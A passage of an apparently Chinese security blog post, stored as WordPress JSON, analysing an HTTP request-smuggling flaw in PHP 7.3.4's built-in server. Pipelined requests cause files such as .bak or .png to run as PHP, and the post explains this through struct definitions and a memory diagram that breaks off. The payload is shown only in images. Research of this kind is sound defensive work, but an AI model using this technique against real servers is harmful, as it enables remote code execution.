{"id":262,"date":"2026-02-01T17:51:13","date_gmt":"2026-02-01T09:51:13","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=262"},"modified":"2026-02-01T17:51:16","modified_gmt":"2026-02-01T09:51:16","slug":"%e4%bb%8ephp-zend-%e5%86%85%e6%a0%b8%e5%b1%82%e5%88%86%e6%9e%90php-built-in-server-http%e8%af%b7%e6%b1%82%e8%b5%b0%e7%a7%81%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=262","title":{"rendered":"\u4ecephp Zend \u5185\u6838\u5c42\u5206\u6790PHP built-in server http\u8bf7\u6c42\u8d70\u79c1\u6f0f\u6d1e"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"r3NsE\">PHP built-in server http\u8bf7\u6c42\u8d70\u79c1\u6f0f\u6d1e<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"edb57\">\u6f0f\u6d1e\u6f14\u793a<\/h3>\n\n\n\n<p id=\"u8e0c3a5b\">\u5148\u7ed9\u5927\u5bb6\u6f14\u793a\u4e00\u4e0b\u8be5\u6f0f\u6d1e\u7684\u6548\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"914\" height=\"442\" data-attachment-id=\"263\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=263\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image.png\" data-orig-size=\"914,442\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-300x145.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-263\"  sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u23663a40\">\u5f53\u524d\u76ee\u5f55\u4e0b\uff0c\u53ea\u6709\u4e00\u4e2a\u56fe\u7247\u6587\u4ef6\uff0c\u4f46\u662f\u56fe\u7247\u6587\u4ef6\u4e2d\u7684\u662fphp\u4ee3\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"886\" height=\"139\" data-attachment-id=\"264\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=264\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-1.png\" data-orig-size=\"886,139\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-1-300x47.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-1.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-264\"  sizes=\"auto, (max-width: 886px) 100vw, 886px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u121c257c\">\u6211\u5728\u6b64\u76ee\u5f55\u4e0b\u542f\u52a8php\u670d\u52a1<\/p>\n\n\n\n<p id=\"uf24a47df\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-2-1024x634.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"634\" data-attachment-id=\"265\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=265\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-2.png\" data-orig-size=\"1551,960\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-2-300x186.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-2-1024x634.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-2-1024x634.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-265\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uf24a47df\"><\/p>\n\n\n\n<p id=\"ub8213b26\">\u5728\u6211\u53d1\u9001payload\u4e4b\u540e\uff0c\u4f60\u4f1a\u53d1\u73b0\uff0c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-3-1024x445.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"445\" data-attachment-id=\"266\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=266\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-3.png\" data-orig-size=\"1609,699\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-3-300x130.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-3-1024x445.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-3-1024x445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-266\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ud4948af6\">\u8fd9\u91cc\u9762\u7684php\u4ee3\u7801\u88ab\u6267\u884c\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"vTI85\">Zend\u5185\u6838\u5c42\u539f\u7406\u6df1\u5165\u5256\u6790<\/h3>\n\n\n\n<p id=\"u61e84ce0\">php\u6e90\u7801\u4e0b\u8f7d<\/p>\n\n\n\n<pre id=\"eAfVk\" class=\"wp-block-code\"><code>https:&#47;&#47;www.php.net\/distributions\/php-7.3.4.tar.gz\nhttps:\/\/www.php.net\/distributions\/php-7.3.4.tar.bz2<\/code><\/pre>\n\n\n\n<pre id=\"T25Gr\" class=\"wp-block-code\"><code># 64\u4f4d NTS\u7f16\u8bd1\u597d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\nhttps:&#47;&#47;windows.php.net\/downloads\/releases\/archives\/php-7.3.4-nts-Win32-VC15-x64.zip<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"kGo27\">\u6f0f\u6d1e\u63cf\u8ff0<\/h4>\n\n\n\n<p id=\"uda19ae91\">PHP Built-in Server \u5728\u5904\u7406 HTTP \u8bf7\u6c42\u65f6\uff0c\u4f7f\u7528\u4e86\u57fa\u4e8e\u56de\u8c03\u7684\u4e8b\u4ef6\u9a71\u52a8\u89e3\u6790\u5668php_http_parser\u3002\u5f53\u89e3\u6790\u5668\u5728\u5355\u6b21\u8c03\u7528\u4e2d\u63a5\u6536\u5230\u591a\u4e2a\u8fde\u7eed\u7684 HTTP \u8bf7\u6c42\u65f6\uff0c\u4f1a\u4f9d\u6b21\u89e6\u53d1\u5404\u4e2a\u8bf7\u6c42\u7684\u56de\u8c03\u51fd\u6570\u3002 \u7531\u4e8e\u56de\u8c03\u51fd\u6570\u5bf9php_cli_server_request\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u8fdb\u884c\u76f4\u63a5\u8986\u76d6\uff0c\u800c\u6ca1\u6709\u6b63\u786e\u7684\u8fb9\u754c\u68c0\u67e5\uff0c\u5bfc\u81f4\uff1a<\/p>\n\n\n\n<pre id=\"F4mCw\" class=\"wp-block-code\"><code>\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u7684 path_translated + \u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684 ext = \u7c7b\u578b\u6df7\u6dc6<\/code><\/pre>\n\n\n\n<p id=\"uee833b48\">\u6700\u7ec8\uff0c\u4e00\u4e2a\u6269\u5c55\u540d\u4e3a .xxx(\u4efb\u610f\u4e09\u5b57\u540e\u7f00\uff0c\u4f8b\u5982.png .jpg .bak .gif .zip .rar .wav\u7b49\u7b49) \u7684\u6587\u4ef6\u4f1a\u56e0\u4e3a\u6269\u5c55\u540d\u88ab\u9519\u8bef\u5730\u66f4\u65b0\u4e3a .php\uff0c\u800c\u88ab PHP \u89e3\u91ca\u5668\u5f53\u4f5c\u811a\u672c\u6267\u884c\u3002<\/p>\n\n\n\n<p id=\"ucb6e2b72\">\u793a\u610f\u56fe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"896\" height=\"423\" data-attachment-id=\"267\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=267\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-4.png\" data-orig-size=\"896,423\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-4-300x142.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-4.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-267\"  sizes=\"auto, (max-width: 896px) 100vw, 896px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"N05Yt\">\u6f0f\u6d1e\u5206\u6790<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"QdDDm\">\u6838\u5fc3\u7ed3\u6784<\/h5>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"e5W4y\">\u8bf7\u6c42\u7ed3\u6784\u4f53\u5b9a\u4e49<\/h6>\n\n\n\n<p id=\"u72ed6e67\">\u6587\u4ef6\u4f4d\u7f6e: sapi\/cli\/php_cli_server\uff1aphp_cli_server_request<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-5-1024x571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" data-attachment-id=\"268\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=268\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-5.png\" data-orig-size=\"1918,1069\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-5-300x167.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-5-1024x571.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-5-1024x571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-268\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"Xmtqq\" class=\"wp-block-code\"><code>typedef struct php_cli_server_request {\n    enum php_http_method request_method;  \/\/ GET, POST, etc.\n    int protocol_version;                 \/\/ HTTP\u7248\u672c\u53f7\n\n    char *request_uri;                    \/\/ \u539f\u59cbURI\n    size_t request_uri_len;\n\n    char *vpath;                          \/\/ \u865a\u62df\u8def\u5f84\uff08\u4eceURL\u89e3\u6790\uff09\n    size_t vpath_len;\n\n    char *path_translated;                \/\/ \u6587\u4ef6\u7cfb\u7edf\u8def\u5f84\n    size_t path_translated_len;           \/\/ \u5b9e\u9645\u6267\u884c\u7684\u6587\u4ef6\n\n    char *path_info;                      \/\/ PATH_INFO\n    size_t path_info_len;\n\n    char *query_string;                   \/\/ \u67e5\u8be2\u5b57\u7b26\u4e32\n    size_t query_string_len;\n\n    HashTable headers;                    \/\/ HTTP\u5934\u90e8\n    HashTable headers_original_case;\n\n    char *content;                        \/\/ POST\u6570\u636e\n    size_t content_len;\n\n    const char *ext;                      \/\/ \u6269\u5c55\u540d\u6307\u9488\n    size_t ext_len;                       \/\/ \u6307\u5411vpath\u5185\u90e8\uff01\n\n    zend_stat_t sb;                       \/\/ \u6587\u4ef6\u72b6\u6001\n} php_cli_server_request;<\/code><\/pre>\n\n\n\n<p id=\"ufa104419\">\u5b57\u6bb5\u8bf4\u660e<\/p>\n\n\n\n<p id=\"u12fa65ed\">1. ext \u662f\u4e00\u4e2a\u6307\u9488\uff0c\u6307\u5411 vpath \u5b57\u7b26\u4e32\u7684\u67d0\u4e2a\u4f4d\u7f6e<\/p>\n\n\n\n<p id=\"u2974df31\">2. \u5f53 vpath \u88ab\u91ca\u653e\u5e76\u91cd\u65b0\u5206\u914d\u65f6\uff0cext \u4f1a\u53d8\u6210\u60ac\u7a7a\u6307\u9488<\/p>\n\n\n\n<p id=\"u80fc8dff\">3. path_translated \u662f\u72ec\u7acb\u5206\u914d\u7684\uff0c\u53ea\u6709\u6587\u4ef6\u5b58\u5728\u65f6\u624d\u4f1a\u66f4\u65b0<\/p>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"WAjn6\">\u5ba2\u6237\u7aef<\/h6>\n\n\n\n<p id=\"u4642fad4\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_request<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-7-1024x573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" data-attachment-id=\"270\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=270\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-7.png\" data-orig-size=\"1895,1060\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-7-300x168.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-7-1024x573.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-7-1024x573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-270\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"bdg67\" class=\"wp-block-code\"><code>typedef struct php_cli_server_client {\n\tstruct php_cli_server *server;\n\tphp_socket_t sock;\n\tstruct sockaddr *addr;\n\tsocklen_t addr_len;\n\tchar *addr_str;\n\tsize_t addr_str_len;\n\tphp_http_parser parser;\n\tunsigned int request_read:1;\n\tchar *current_header_name;\n\tsize_t current_header_name_len;\n\tunsigned int current_header_name_allocated:1;\n\tchar *current_header_value;\n\tsize_t current_header_value_len;\n\tenum { HEADER_NONE=0, HEADER_FIELD, HEADER_VALUE } last_header_element;\n\tsize_t post_read_offset;\n\tphp_cli_server_request request;\n\tunsigned int content_sender_initialized:1;\n\tphp_cli_server_content_sender content_sender;\n\tint file_fd;\n} php_cli_server_client;<\/code><\/pre>\n\n\n\n<p id=\"u3c944529\">\u95ee\u9898\u6240\u5728\uff1arequest \u662f\u4e00\u4e2a\u5171\u4eab\u7684\u5355\u4f8b\u5bf9\u8c61\uff0c\u591a\u4e2a HTTP \u8bf7\u6c42\u4f1a\u53cd\u590d\u4fee\u6539\u540c\u4e00\u4e2a request \u7ed3\u6784\u4ee5\u53ca\u6ca1\u6709\u9488\u5bf9\u7ba1\u9053\u5316\u8bf7\u6c42\u7684\u9694\u79bb\u673a\u5236<\/p>\n\n\n\n<p id=\"u849b87a4\">\u5185\u5b58\u72b6\u6001\u53d8\u5316\u603b\u7ed3<\/p>\n\n\n\n<pre id=\"ZbsL1\" class=\"wp-block-code\"><code>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  php_cli_server_client (\u5ba2\u6237\u7aef\u7ed3\u6784)                     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  parser:     &#91;\u72b6\u6001\u673a]                                   \u2502\n\u2502  request_read: 0 \u2192 1 (\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u5b8c\u6210\u540e)                 \u2502\n\u2502  request: \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510                                       \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                   \u2502\n                   \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  php_cli_server_request (\u8bf7\u6c42\u5bf9\u8c61)                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502                                                          \u2502\n\u2502  \u7b2c\u4e00\u4e2a\u8bf7\u6c42\u5b8c\u6210\u65f6\uff1a                                      \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u2502\n\u2502  \u2502 vpath: 0x001000 \u2192 \"s3Cr37_f1L3.php.bak\"   \u2502         \u2502\n\u2502  \u2502                            \u2514\u2500\u2500\u2510            \u2502         \u2502\n\u2502  \u2502 ext:   0x001012 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 (\"bak\")   \u2502         \u2502\n\u2502  \u2502 ext_len: 3                                 \u2502         \u2502\n\u2502  \u2502                                            \u2502         \u2502\n\u2502  \u2502 path_translated: 0x002000 \u2192                \u2502         \u2502\n\u2502  \u2502   \"\/var\/www\/s3Cr37_f1L3.php.bak\"          \u2502         \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2502\n\u2502                                                          \u2502\n\u2502  \u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684 on_path() \u8c03\u7528\u540e\uff1a                        \u2502\n\u2502  